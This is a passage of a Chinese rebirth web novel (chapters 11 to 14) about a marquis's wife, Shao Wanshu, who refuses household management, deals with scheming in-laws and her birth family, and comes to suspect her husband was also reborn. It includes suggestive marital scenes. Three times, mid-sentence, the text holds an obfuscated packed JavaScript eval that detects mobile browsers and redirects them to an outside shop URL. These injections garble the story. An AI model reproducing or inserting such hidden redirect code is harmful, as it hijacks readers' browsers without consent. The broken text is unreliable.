一些场面话圆过去,不至于让所有人下不来台。今生她不会这样做,让这两个对自己有敌意的人自己闹去吧,她坐一旁看笑话便是。 裴明英握紧了拳。此刻她心里十分愤怒,既有对柳氏的,也有对邵婉淑的。邵婉淑那日的表现分明是打算将这匹锦缎送给她的,她还听说邵婉淑按照她的尺寸和喜欢的颜色做了一件衣裳,可没想到这衣裳竟然穿在了她自己身上,并未送给她。 即便心中愤怒,想要发作出来,但她还是克制住了,一双眼睛死死盯着邵婉淑,等着她的解释。 没想到邵婉淑竟一副云淡风轻的模样,什么都不解释不说,竟然还端茶喝了起来,仿佛这件事跟她没关系一般。 随着时间的推移,裴明英越发愤怒和尴尬,她站起身来,面红耳赤地斥责柳氏:“三嫂,你在胡说什么呢?我何时跟大嫂要过这匹布料?这可是贵妃娘娘送来的,长辈所赐,怎能给旁人?你连这些简单的规矩都不懂吗!” 平日里裴明英对柳氏的态度还算温和,一着急了就不管不顾了,对她没有一丝尊重。 柳氏顿时闹了个没脸。 姜老夫人脸上的笑浅了些,她淡淡瞥了一眼柳氏。 柳氏本想还嘴的,看到婆母警告的眼神,不敢再多言。 姜老夫人看了一眼邵婉淑,见她脸上没有不悦的神色,脸上始终带着浅浅的笑,放心了些。 大皇子虽是先皇后所出,但并不得宠,这些年一直被皇上外派打仗。二皇子贤能,朝中有不少文官支持,但皇上对他的态度一般,似是有些不喜。三皇子年纪虽小,但却是贤贵妃所出,很得圣宠。将来哪位皇子登基一切都不好说。 他们侯府向来不会站队,但也不能得罪宫里的贵妃娘娘。若是此事传出去了,对贵妃娘娘的名声也不好。 “婉淑,你三弟妹刚生了孩子,记性不太好,你莫要放在心上。”姜老夫人先安抚了邵婉淑。 这倒是令邵婉淑有些意外。裴明英毕竟是婆母亲生女儿,她原以为婆母即便不怪罪她,也不会先考虑她的感受。她顺势说道:“母亲多虑了,咱们都是一家人,我不会放在心上的。不过三弟妹以后说话行事还是要注意些,小心祸从口出,累及家人。” 柳氏被邵婉淑挤兑了几句,却不敢再反驳,只得憋屈地认下。 见她这样说,姜老夫人放心了,她转头看向了柳氏。柳氏这些日子越发过分了,看来那日给她的教训还不够。 “老三媳妇儿,哥儿还小,离不开人,你这几日就在院子里照顾哥儿吧。” 这话说的好听,实则是把柳氏禁足了。 柳氏这才害怕了,她深深地后悔自己多嘴说了那样的话。可邵婉淑今日打扮得实在是太出众了,眼角还带着几分媚态,昨晚侯爷又是在她房里过的,让她心里很不得劲儿,她就是忍不住想要针对她。 “母亲,我……” “散了吧。” 姜老夫人不再理会柳氏,朝着里间走去。 邵婉淑朝着姜老夫人福了福身,站起身来,看也不看柳氏,径直离开了。 11.第 11 章 邵婉淑刚回到韶华院,便听说侍郎府来人了,她脸一沉,朝着主屋走去。 来人是陆氏身边的香竹,见到邵婉淑,香竹语气里带着几分埋怨:“大姑娘,夫人听说您这些日子没去要管家权,很是不悦,让您务必三日内将管家权拿回手中。” 邵婉淑陪嫁的人都是母亲安排的,母亲会知道这件事,她一点都不奇怪。她既不想继续听从侍郎府的安排,也不想管家,于是直接说道:“你去跟母亲说,我办不到。” 香竹没料到邵婉淑会这样回答,怔了一下。她以为按照他们家大姑娘的性子一定会答应下来的。 “大姑娘,您不试试怎么知道办不到呢?” 邵婉淑看了香竹一眼,端起茶轻抿一口,没有说话。 香竹有些着急了,说道:“老爷得知此事很是生气,昨晚在夫人面前发了好大的脾气。” 邵婉淑继续喝茶不说话。 香竹:“老爷昨晚都没歇在正院,去了赵姨娘的院中,夫人哭了大半夜呢,您还是多体谅体谅夫人吧。” 邵婉淑觉得这话很是讽刺。母亲总是说一切都是为了她好,让她体谅他们,可他们却从未体谅过她。她想起前世母亲逼她认下莲娘肚子里的孩子时说过的话。 “你怎能如此善妒?” “这几年侯爷身边就你一个人本就不妥,你早就该为侯爷置办妾侍。” “你是当家主母,莲娘的孩子也是你的孩子。” …… 母亲是当家主母,父亲送来白绫时她岂会不知? 可见母亲是真的不在乎她的死活。 邵婉淑的心又冷了几分:“你是想说母亲善妒?” 香竹愣了一下。大姑娘这是怎么了,她怎么能说这样的话。夫人可是她的亲生母亲。她刚想说些什么,看着邵婉淑没什么表情的脸,心里一紧,噗通一声跪在了地上:“奴婢不是这个意思。” 这些话都是夫人教她说的。老爷的确对大姑娘很不满,也拿此事责备夫人,但夫人并未因为赵姨娘的事情哭。夫人让她这样说是怕大姑娘不用心拿管家权。 邵婉淑端起茶,轻抿一口,又放下。 “赵姨娘是母亲为父亲置办的,父亲去赵姨娘房里母亲又怎会哭呢,你莫要诋毁母亲的名声。” 香竹:“是,是奴婢说错话了。” 邵婉淑:“你回去告诉父亲和母亲,我如今是侯夫人,侯府的事我心中有数,就不用他们操心了。” 香竹感觉自己后背生了一身的冷汗,不敢再在邵婉淑面前造次。 阿桔送香竹出门。 虽已经是初夏,香竹出了门,风一吹,她感觉自己后背凉飕飕的。 她知道阿桔性子单纯,又是个炮仗脾气,她看向阿桔,试探道:“阿桔,大姑娘到底怎么了,怎么看起来跟从前不太一样了呢?” 阿桔的确是这样的性子,但香竹却忘记了阿桔最重要的一点是对邵婉淑忠心。 阿桔瞥了香竹一眼,道:“香竹,你不该再称大姑娘了,你应该称侯夫人。” 香竹蹙了蹙眉,阿桔是大姑娘身边的婢女,她是夫人身边的。阿桔从前一直对她毕恭毕敬的,叫她一声姐姐,如今竟然敢直呼她的姓名了。 阿桔从前的确不会如此,但并非是不敢,而是因为他们姑娘。今日瞧着姑娘对香竹的态度很是强硬,她自然也不再憋着。 香竹:“咱们都是一个府的,叫大姑娘不是显得亲近么?” 阿桔早就看香竹不顺眼了,香竹不过是个奴婢,刚刚竟然敢跟他们夫人大呼小叫,真是惯的。她可不似阿梨那般好脾气识大体,当下便冷了脸,道:“你什么身份,还敢跟侯夫人攀关系。” 香竹越发不悦。 阿桔停下脚步:“你认清自己的身份吧,以后没事儿少来侯府。” 要不是夫人让她送香竹,她才不来。说完,转身就走,竟是连送都不送了,将她交给了侯府的小丫鬟。 香竹气得不行,但是面对侯府的丫鬟,她不敢发脾气,只得忍着。 等回了侍郎府,香竹将此事跟陆氏说了,陆氏听后眉头皱了起来。女儿最近是越发不像话了,一点规矩都没有。上次女儿回府时她就觉得她态度有些奇怪,看来她的直觉没错。 香竹又道:“夫人,我听跟去侯府的人说大姑娘前些日子和辛二姑娘去了景山,俩人在那里住了好几日。” 听到辛卿卿的名字,陆氏眉头皱得更紧了。 “婉淑就是被她带坏了!” 香竹:“大姑娘那边怎么办?” 陆氏:“这事儿还是得跟老爷说一声。” 侍郎府那边阴云密布,邵婉淑心情却是不错,她让阿梨准备了一些花草,又从库房里拿出来几个好看的花瓶,在花厅里插花。 阿梨一直担心香竹的到来会影响夫人的心情,见她开始插花了,这才放心了。自从嫁入了侯府,夫人每日都是围着侯爷和老夫人转,再也没插过花了。 邵婉淑:“阿梨,你看看,这里放粉色的花好看,还是放黄色的好看?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931816|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阿梨:“都好看。” 邵婉淑:“选一个。” 阿梨蹲下身子,认真看了看,道:“黄色的。” 邵婉淑笑了:“你是瞧着我今日穿了黄色的衣裳,所以觉得这个配吗?” 阿梨也笑了:“逃不过夫人的眼睛。” 邵婉淑一上午都在侍弄花草,感觉心情舒畅了不少。 接下来几日裴行舟没有回内宅,邵婉淑觉得少了许多尴尬。 她每日一早照旧去祥和院请安,丝毫不提管家一事。因为柳氏被禁足了,请安时倒是和谐了许多。 杜氏想着法子逗姜老夫人笑,裴明英在一旁陪着,裴温静垂头坐在一旁,邵婉淑也不说话。 裴行舟这几日去了军营,等他从军营回来已经是三日后了。 “这几日府中可有发生什么事?” 青云:“府里一切都好。” 裴行舟:“嗯。” 青云:“三日前陆夫人身边的大丫鬟香竹来了府中,去见了夫人。” 裴行舟脚步一顿,看向青云。 青云立即道:“侍郎府催促夫人从二夫人手中拿走管家权。” 这个答案在裴行舟意料之中。邵婉淑刚嫁过来侍郎府那边便催她管家了,后来虽然不了了之了,但他始终觉得侍郎府还会有下文。 “夫人做了什么?” 青云:“夫人这几日和从前一样,除了每日一早去给老夫人请安,其余时间都待在韶华院,并未跟老夫人提及管家一事。” 这倒是在裴行舟意料之外了。 他和邵婉淑成亲已有三个月,足够看清楚她的性格。他知道她很听邵侍郎的话,既如此,为何在被邵侍郎打了一巴掌后没有采取任何的行动。难道她还有别的打算? 裴行舟思索片刻,掉转脚步,欲朝着内宅走去。 青云看了一眼手中的公务。 裴行舟:“送去书房,我去去便回。” 青云:“是。” 夜深了,邵婉淑专心致志地看着手中的书。 她从小就喜欢看书,前世一直尽心服侍定南侯,处理侯府的事情,很少有时间看书。今生将这一切都放下了,倒是有时间看书了。只是看的过于入迷,忘了时辰。 这时,眼前突然投下了一片阴影。 邵婉淑抬眸看了过去,不期然地落入了一双漆黑的眼眸中。 看到来人,漂亮的眸子里添了几分疑惑。 裴行舟三日前刚来过,今日怎么又来了? 12.第 12 章 邵婉淑合上书,放在矮桌上,整理了一下衣裳,准备下榻。 裴行舟阻止了她:“夫人不必多礼。” 邵婉淑也没再难为自己,又重新坐好了。 阿梨沏了一壶新茶,又默默退下。 屋里只有邵婉淑和裴行舟两人,裴行舟端起茶喝了起来。 喝完一杯茶,裴行舟突然说道:“你是侯夫人,内宅的事情理应由你来管。” 邵婉淑看向裴行舟,他为何突然说这样的话。她是三皇子的表姐,而他和大皇子交好。两人不过是被姑母和一道圣旨硬凑到一起的。他并不信任她。 她记得前世他并不赞同她管家。 果然,只听裴行舟又道:“内宅的事情多,交接有些麻烦。不如再等上一个月,等二弟妹处理好了,再把管家的事情交给你。” 前世裴行舟也说过类似的话。邵婉淑那时一心想着从杜氏手中收回管家权,婆母日日阻拦。回头裴行舟又说了这样的话。她心中难受极了,觉得他是故意推三阻四,不想让她拿到侯府的管家权。他和她不是一条心,她很是失望。 后来等她真的把管家权握在手中时,才发现裴行舟的话或许并非是搪塞之言。 偌大的侯府,账面上却几乎没什么银钱。在杜氏的引导下,她发现侯府多年前借了不少外债,那些外债高达数万两。杜氏也是贴补自己的嫁妆才能维持侯府的正常运行。 她也曾想过把外债要回来,然而那些借债的人不是侯府的亲朋就是好友,她委实拉不下脸去要,最终只能学着杜氏的法子,贴补了自己的嫁妆。 直到后来她发现了蛛丝马迹,顺着线索去查了一下,发现侯府的账面上之所以没钱都是因为杜氏放了印子钱,钱还是落到了杜氏的口袋里。她将此事告诉了裴行舟,裴行舟的反应很是平静,由此可见他早已知晓此事。见裴行舟不为她做主,后来她又将此事告诉了父亲。很快,这件事被抖落了出来。 东窗事发后,这件事被裴行舟一力担了下来。弹劾的折子如雪花一般落在了龙案上,裴行舟被申饬。 她怨裴行舟不坦诚,侯府怪她把家丑外扬,两人之间的隔阂越来越深。 “嗯。” 见邵婉淑平静地接受了,裴行舟微微有些诧异。但他并未说什么,又端起桌上的茶喝了起来。 邵婉淑心里还是有些意外的,今生裴行舟竟然在婆母拒绝她拿回管家权之前同她说了此事。可见,他并非如她前世想的那样不想让她拿回管家权。他支持的人是大皇子,而她是三皇子的表姐。他既不爱她,也不信任她。又为何想让她管家? 想到这里,邵婉淑看了裴行舟一眼。 裴行舟并未看她,他在喝茶。 邵婉淑发现裴行舟最近每次来都要喝许多茶,从前也没见他这般爱喝,如今竟然连口味都变了,当真是奇怪。 裴行舟察觉到邵婉淑的目光,抬眸看向她。 她今日穿的格外鲜艳,是一件粉色的衣裳,像夏日的荷花。这衣裳尺寸刚刚好,贴在了身上。他的目光扫过了她的胸前,眼神微变。 邵婉淑的目光和裴行舟的目光对上了,她突然就想到了那晚的事情,别开了眼。 裴行舟见邵婉淑微微垂头,露出来一截纤细而又白皙的脖颈。脸颊微红,耳朵也是红的。 灯下看美人,别有一番滋味。 想到那晚,裴行舟心里一热,与其说像初荷,倒不如说是一颗熟透的水蜜桃。拇指指腹摩挲了一下茶杯,将茶一饮而尽,茶杯放在桌上,沉声道:“时辰不早了,安置吧。” 邵婉淑怔了一下。有些抗拒,但想到孩子,又接受了。 裴行舟动作很是迅速,几乎一上床便覆了过来,但却不似那晚那般急切了。吻依旧炙热,但却温柔了些许。他将唇挪到邵婉淑的耳侧,哑声问:“还疼吗?” 邵婉淑被亲得意乱神迷,心砰砰直跳。听到这个问题,怔了一下,道:“还……还好。” 裴行舟动作停顿了片刻,双眼深深地看向邵婉淑。 邵婉淑不太懂他的意思,猜测了一番,礼尚往来,问了一句:“你疼吗?” 她那晚掐他时还挺用力的。 裴行舟突然闷笑一声。 邵婉淑几乎以为自己听错了,裴行舟竟然在笑,活了两世,这还是她第一次听到裴行舟的笑声。他一向是严肃的,习惯板着一张脸,一副不苟言笑的样子。 他在笑什么? 裴行舟闷声道:“不疼。” 没等邵婉淑想明白裴行舟为何笑,他的吻便铺天盖地地落了下来。 虽说一开始是温柔的,但后来还是控制不住。 邵婉淑还是没忍住,又掐了裴行舟。 青云看了看月亮,吹灭了书房的蜡烛,回屋歇着了。 第二日一早,裴行舟离开前吩咐青云:“晚上让二弟来书房找我。” 青云:“是,侯爷。” 邵婉淑醒来已是巳时,她让阿梨去祥和院告了假,在院中歇了一日,没去请安。她扶着有些酸痛的腰肢,心想着,等怀上了孩子,定不再让裴行舟踏入房门半步。 亥时,裴行舟刚从外面回来,一个和他长相相似,带着几分少年气的俊朗男子匆匆来了他身边。 “大哥,听说你找我。” 看到来人,裴行舟脸色柔和了些:“怎么才回来?” 裴行凛:“李侍郎叫我们一同去喝酒,我倒是不想去,可也不好拒绝。大哥今日又去军营了吗?” 裴行舟之所以回来这么晚便是因为军营那边突然有事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936326|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他去处理事情了。事关军务,他没有多解释,只应了一声:“嗯。” 裴行凛叹气:“大哥每日这么繁忙,我瞧着都心疼,只可惜我没什么本事,帮不了大哥什么。” 裴行舟:“你也不必妄自菲薄,我听林尚书说你押送粮草的差事办得不错。” 裴行凛谦虚地道:“不过是萧规曹随罢了,比不得大哥开疆拓土。” 裴行舟:“押送粮草的事情并不简单,若没有足够的粮草,前线的战士也打不了胜仗。” 裴行凛:“哎,我真想跟大哥一起上战场啊,等以后有机会了,我定要随大哥一同出征!” 裴行舟:“咱们府我一个人上战场就行了,你照顾好母亲和侯府,这样我也能安心些。” 裴行凛顿时有些蔫:“好吧,母亲也这样说的,我都听大哥的。” 裴行舟眼神微微一变,很快又恢复如常,他想起一事,说道:“弟妹的印子钱这个月就收回来吧。” 三个月前,他发现杜氏拿着侯府账面上的银钱偷偷放印子钱收取利息。他将此事告诉二弟,二弟很是愤怒,连忙让杜氏收回来。结果只收回来一部分,剩下的一部分须得再过几月才能收回来。 半个月前裴行凛刚跟裴行舟说了此事,裴行舟当时虽然有些不悦,但也没多说什么,没想到今日他竟突然改了主意。 “这件事或许有些为难。” 裴行舟:“朝廷最近严查此事,为避免生出来事端,尽快收回来吧。” 裴行凛有些诧异,他跟户部的人交好,完全没听说过此事,大哥这么说定是有别的缘由。想到最近发生的事情,他怀疑大哥这般做是为了邵婉淑。 裴行舟的语气虽然温和,但却带着一丝不容置疑的气势。 裴行凛察觉到这一点,没敢再跟他辩驳,只得应下。 许是为了缓和气氛,他转移了话题。 “我听说大哥这些日子时常回内宅中。” 裴行舟脚步停顿了一下,眼睛看向裴行凛。 裴行凛压低声音说道:“大哥莫要忘了,大嫂可是贤贵妃的侄女,她是三皇子的表姐。” 裴行舟想到了前院隐在暗处盯梢的人,应了一声:“嗯。” 看着裴行舟的表情,裴行凛笑着说:“大哥心里有数就好。大皇子才是正统,三皇子哪里能跟大皇子比。” 闻言,裴行舟微微皱眉:“二弟,立储一事关乎社稷,皇上并不喜朝臣们议论此事,你莫要在背后随意评判。” 裴行凛:“我都明白的,这些话我也只敢跟大哥说罢了,其他人面前我一个字都不会多说的,就连母亲面前我都不说。” 裴行舟这才放心了些。 兄弟二人在岔路口分开了,一人去了书房,一人回了内宅。 13.第 13 章 过了几日,柳氏解除了紧闭,打扮得花枝招展的来了。邵婉淑还没进门就听到了她的笑声。 杜氏绘声绘色的讲着趣事儿,把姜老夫人逗得直笑,柳氏也在一旁陪着笑。裴明英凑趣,裴温静一句话不说。 邵婉淑进去后就坐在一旁安安静静听着,若无人问起,一个字也不多说。 略坐了一会儿后,邵婉淑就准备离开了。她刚准备起身,就听姜老夫人说道:“婉淑,你嫁过来也有三个多月了,明日就接手管家的事情吧。” 听到这话,屋里的人都十分惊讶。 就连邵婉淑都有些意外。前世,从娘家回来后,她便跟婆母提了管家的事情,但她一直没同意。直到说了几次后,婆母才终于同意让她管家。没想到今生她却主动提起来了。 她主动要,侯府不给,她不要了,侯府又想给了。前几日裴行舟刚刚提醒过她,让她暂时不要接管家的事务。由此可见,此事裴行舟并不知道,这是婆母自己的主意。 婆母最喜欢的儿媳是杜氏,内宅之中最信任的人也是她,这几年一直是杜氏管家。 邵婉淑轻轻瞥了一眼坐在对面的杜氏,只见杜氏脸上笑意全无,唇角微微抿起,脸上的笑淡了几分。她没注意到邵婉淑看过去的目光,正抬眸看向姜老夫人,似乎想说些什么。 邵婉淑收回目光,想到前世后来发生的事情,拒绝了姜老夫人。 “母亲,我刚成亲三个月,对府中的事务还不太熟悉,二弟妹将府里的事情治理得井井有条,还是让她继续管着吧。” 杜氏似是没料到邵婉淑会拒绝,目光立即转向了邵婉淑,眼底的惊讶都没来得及掩藏。 除了她,屋里的众人也都用一种奇怪的眼神看向邵婉淑。邵婉淑刚入府的第三日就提出来杜氏管家名不正言不顺,要拿走管家权。今日姜老夫人主动提及,她竟然拒绝了。 姜老夫人以为邵婉淑是因为自己之前的拒绝生气了,试探地道:“这个家早晚都是你和行舟的,让阿敏从旁协助你。” 邵婉淑再次拒绝:“母亲,我最近身子有些不舒服。要是二弟妹不累的话,不如再帮我管上一段时日?” 杜氏顿时松了一口气。 姜老夫人有些紧张地问:“哪里不舒服?去请太医过来看看吧。” 邵婉淑:“不用了,老毛病了,一到换季的时候就有些头疼。” 姜老夫人:“头疼可不是小事,你若真的不舒服还是让太医来看看才是。” 邵婉淑:“多谢母亲关心。” 姜老夫人看的出来,邵婉淑是真的不想管家,只是她有些想不通这是为何。前些日子侍郎府不仅把儿媳叫了回去,还派了丫鬟来府中。她是个直性子,想到什么就问了出来。 “你娘家那边……” 邵婉淑随口胡诌:“母亲知道我的情况,也不赞同我现在管家,就是要麻烦二弟妹了。” 杜氏忙道:“不麻烦的,大嫂先养好身子,等你身子好了我定会把侯府交到你手中。” 她放出去的印子钱还在赚钱,她巴不得邵婉淑不管家。只要管家权在她手中一日,她就能多赚上一日钱。 邵婉淑:“多谢二弟妹。” 姜老夫人看了一眼二儿媳,似乎看出了什么,没再多言。 又坐了一会儿,邵婉淑回去了。 阿梨日日跟邵婉淑在一处,自然知晓她刚刚在扯谎。她忍不住道:“夫人,老夫人说让您管家了,您为何不接过来?老爷和夫人都希望您尽快管着侯府的事宜。” 邵婉淑拿起剪刀斜着剪了一枝玫瑰。 “你真以为侯府的内宅这么好管吗?” 阿梨:“可您毕竟才是侯夫人。” 邵婉淑:“那又如何呢?上面还有侯爷和老夫人。管好了是你的本分,管不好就是你的问题。” 阿梨见邵婉淑是真的不想管家,没再多劝。 邵婉淑将玫瑰花的叶子除去,只剩下上面几片,将减好的花插在了花瓶里,满意地笑了。 阿梨看着邵婉淑脸上的笑,怔了一下,也跟着笑了。管不管家的又有什么重要的,只要夫人开心就好了。 “夫人今日插的花好看。” 邵婉淑:“昨日的不好看?” 阿梨连忙道:“昨日的也好看,每天都好看。” 二人都笑了起来。 另一边,请安的人都离去后,祥和院安静下来。 姜老夫人正跟李嬷嬷说着让邵婉淑管家的事情。 姜老夫人:“那日老三媳妇儿因为贵妃娘娘赏赐的布料得罪了老大媳妇儿,我想着不如把管家的事给她,安抚一下她。没想到老大媳妇儿竟然不要。” 即便他们侯府不站队,但也不能得罪最得宠的贵妃。 姜老夫人又道:“你说她是不是因为我之前拒绝了她生气了,索性不要了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948366|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李嬷嬷:“我瞧着侯夫人不像是生气了。” 姜老夫人:“那是为什么?” 李嬷嬷:“老夫人都想不明白的事儿,老奴更想不明白。” 姜老夫人沉默片刻,道:“那日侍郎府的丫鬟来府中是催老大媳妇儿要管家权的?” 李嬷嬷:“听送她走的小丫头说是听到了这么几句。” 姜老夫人愈发觉得奇怪了。既然侍郎府催促儿媳要管家权,儿媳为何又不要了呢? “哎,这事儿说起来也怪我,她刚嫁过来的时候就该把管家权给她的。” 李嬷嬷:“老夫人,这怎么能怪您呢?您也是想着让侯夫人轻快些,能好好跟侯爷过日子,先生个孩子。咱们也没想到侯爷对夫人那么冷淡。” 想到儿子的态度,姜老夫人又叹了叹气。 “这门婚事是圣上和贵妃赐婚,他本就不想要,是我自作主张替他答应了。也怪我,想岔了,想着一个文官之女和他正好相配,能让他软和些。” 李嬷嬷:“您也是一心为了侯爷着想才答应的。再说了,毕竟是皇上赐婚,若是推拒了,对咱们侯府也不利。您为侯府和侯爷操碎了心。” 姜老夫人拍了拍李嬷嬷的手:“也就你能明白我的心思了。” 李嬷嬷:“总有一日侯爷也会明白您的苦心。” 想到和自己并不亲厚的长子,姜老夫人长叹一声。 过了一会儿,她想起一事,问:“你有没有觉得今日老二媳妇儿的表现有些奇怪?” 李嬷嬷想了想,道:“兴许二夫人是觉得您的提议有些突然。” 姜老夫人:“最近内宅事务可有什么问题?” 李嬷嬷:“没什么问题,一切都好。” 姜老夫人:“嗯,可能是我多想了吧。” 晚上,裴行舟得知了白日里邵婉淑拒绝了母亲让她管家的提议。 他知道她是想管家的,而侍郎府那边也催促她管家,之所以拒绝定是因为他那日的提醒。二弟那边,还是得催促一番。 他端起桌上的茶喝了一口,苦涩的味道让他皱了皱眉。 青云注意到了裴行舟的变化,心里有些忐忑。这已经是他换的第十种茶了,他让人将府里最好的茶都拿了出来,还逛遍了京城的铺子,挑选最好的茶,没想到侯爷还是不喜欢。 裴行舟将茶杯放在了桌上,站起身来,朝着内宅走去。 14.第 14 章 裴行舟过来时邵婉淑去沐浴了,屋里空无一人。 他敏锐地发现屋里似乎跟从前不太一样了。仔细一看,好像只多了几个漂亮的花瓶,但给人的感觉却和从前大不相同。 他也说不出来哪里不同,只觉得多了丝活气。 裴行舟坐在了榻上,瞥了一眼榻上的矮几。矮几上有一壶茶,已经凉了。他抬眸看向了匆匆从外面进来的阿桔。 阿桔正在一旁的厢房忙着,听院子里的人说侯爷过来了,连忙走了进来。她刚想去里间提醒,就见裴行舟已经坐在了榻上,而且还抬眸看向了她。 侯爷很少会关注他们,阿桔心里惊惧,忙止住了脚步,不敢动。 “奴婢见过侯爷。” 素日里,裴行舟一个眼神身边的人就明白了他的意思,他也不用多说什么。眼下他暗示得这般明显了,面前这个丫鬟竟还没明白,委实迟钝得很。 青云连忙上前把凉了的茶壶递给了阿桔。 阿桔这才明白过来,接过茶壶出去了,青云也跟着出去了。 不多时,阿桔上了一壶热茶。她也不敢当着裴行舟的面去里间,默默退了出去。走到外面后,她抬手拍了拍胸口,长长吁了一口气。侯爷也太吓人了,比他们家老爷还吓人。老爷最多是要打人板子,侯爷的眼神是想杀人。 “阿桔姑娘。” 阿桔没注意到旁边还有人,吓得哆嗦了一下,连忙看向说话之人。刚刚他还在屋里,不知何时已经出来了。 青云:“抱歉。” 阿桔知道青云是侯爷最信任的人,她朝着青云福了福身。 青云回礼。 “阿桔姑娘,不知院子里喝的是什么茶?” 阿桔:“龙井。” 青云有些诧异,他为侯爷准备了龙井,但侯爷并不喜欢。 “具体是哪一种?” 阿桔:“明前龙井。” 青云:“多谢。” 阿桔:“客气了。” 阿桔觉得青云莫名其妙的,好端端地问她茶叶的问题做什么。 邵婉淑在木桶里泡了许久才出来,出来时原本白皙的脸变得红扑扑的,头发上还在滴水。裴行舟很少回内宅,所以她已经习惯了屋里大多数时候只有她一个人。她压根儿没想到裴行舟今日会回来,径直往前走去。 走了几步后,有些站不稳,连忙唤了一声还在里面的阿梨。 “阿梨。” 一只大掌上前扶住了她。 邵婉淑没注意到异常,闭着眼睛缓了一会儿,喃喃道:“今日果然泡太久了,头都有些晕了。” 话音刚落,腰上突然多了一条胳膊,人也被腾空抱了起来。 邵婉淑猛地睁开了眼,终于看清了面前的人。没想到竟然是裴行舟。她心里突然冒出来一个想法,不应该让阿梅停止打探裴行舟的行动,不然裴行舟突然过来她都没有任何准备。 裴行舟本想将邵婉淑抱去床上,想到她是泡太久才晕的,又把她抱去了外间的榻上。见她头发上的水滴到了里衣上,透出来里面粉色的肚兜,他眼神一凝,喉间微滚。抬手扯过一旁的毯子,盖在了她的身上。 邵婉淑:“多谢。” 裴行舟俯下身子刚要给邵婉淑拖鞋,听到这话,看了邵婉淑一眼,她的头发是湿的,眼睛也湿漉漉的,脸颊微微泛着红晕。双手撑在榻上,就这般俯身望着他。 两人离得极近,近到裴行舟能看到邵婉淑眼中的自己,近到邵婉淑清楚地看到了裴行舟眼底的情绪变化。 裴行舟第一次发现邵婉淑的眼睛似乎会说话,带着几分勾人的味道。 邵婉淑眼眸微闪。裴行舟最近的变化似乎有些大。前世成亲三年,她从未看过裴行舟这副模样。他一向是没什么表情的,即便是在夜里也是如此。也就是刚成亲那会儿他的反应激烈了些,后来便如一潭深水,让人瞧不出波动。 最近他的情绪却表现在了脸上,她用眼睛就能看得到。尤其是二人最亲密之时,他的反应更加强烈。他情绪外泄得厉害,此刻她明显发现了他的情绪波动。 两人默默对视着,谁都没有先开口。 一滴水顺着邵婉淑的乌发滴落在了裴行舟的手背上,隐隐的玫瑰香气拂过鼻间。 裴行舟握着邵婉淑脚踝的手紧了紧,邵婉淑心头突然一跳,吓得缩了缩脚。 裴行舟不顾邵婉淑的躲闪,握得更紧了,他克制住自己,低头为邵婉淑脱掉了鞋子。随后,一言不发地将她抱去了内室。 裴行舟走得很快,但却很稳。虽然如此,邵婉淑仍旧有些害怕,抬手圈住了他的脖子。 阿梨刚从里间出来,正要叫人去打扫,看着眼下的情形,连忙熄灭屋里的蜡烛,默默退了出去。 邵婉淑能明显感觉到裴行舟和前世不一样了,他前世从不会这般。他一向是严肃的,她几乎从他的面上看不出来任何的情绪变化,看不出来喜,也看不出来怒,每次都是公事公办。两个人像是关系最亲密的陌生人。而如今,他的花样越来越多了,她有些招架不住。 邵婉淑死劲儿掐住了裴行舟的腰身,闭上了眼。 瞧着邵婉淑的反应,裴行舟闷笑一声。 邵婉淑睁开了眼,眼底有几分恼怒。 裴行舟忙止住了笑。 过了许久后,一切归于平静。 裴行舟抬手将邵婉淑圈入了怀中。这个动作过于亲密了,邵婉淑有些不舒服,她本能得想要抗拒。裴行舟的胸膛却如同铜墙铁壁,纹丝不动。 裴行舟沉声问:“不累吗?” 邵婉淑听出来裴行舟话中之意,顿时不敢再动。 裴行舟满意了。 邵婉淑的身体实在是疲惫,慢慢合上眼准备睡了。就在她快要睡着之际,脑海中猛然冒出来一个念头,瞬间睁开了眼,看向了面前之人。 裴行舟垂眸看向邵婉淑,眼底深不见底:“当真不累?” 邵婉淑抿了抿唇。 既然她可以回到三年前,裴行舟会不会也回来了? 她仔细回忆了一下最近发生的事情。重生的当晚,裴行舟来了内宅中,询问她父亲跟她说了什么话。过了没几日,裴行舟又来了内宅中。裴行舟主动去了景山别院接她。最近裴行舟时常回内宅。这种种表现都跟前世的冷淡不同。而且,在她重生回来前,裴行舟甚少回内宅,和前世一模一样。 裴行舟的改变是在她重生回来之后。 重生之后,周遭的人和事没有任何改变,只除了裴行舟。 所以,很有可能裴行舟和她一样在当天重生回来了。 想到这里,邵婉淑突然觉得有些恶心。 裴行舟见邵婉淑一直盯着他看,心里一热,俯身想要亲她, 察觉到裴行舟的身体反应,邵婉淑面色一沉。 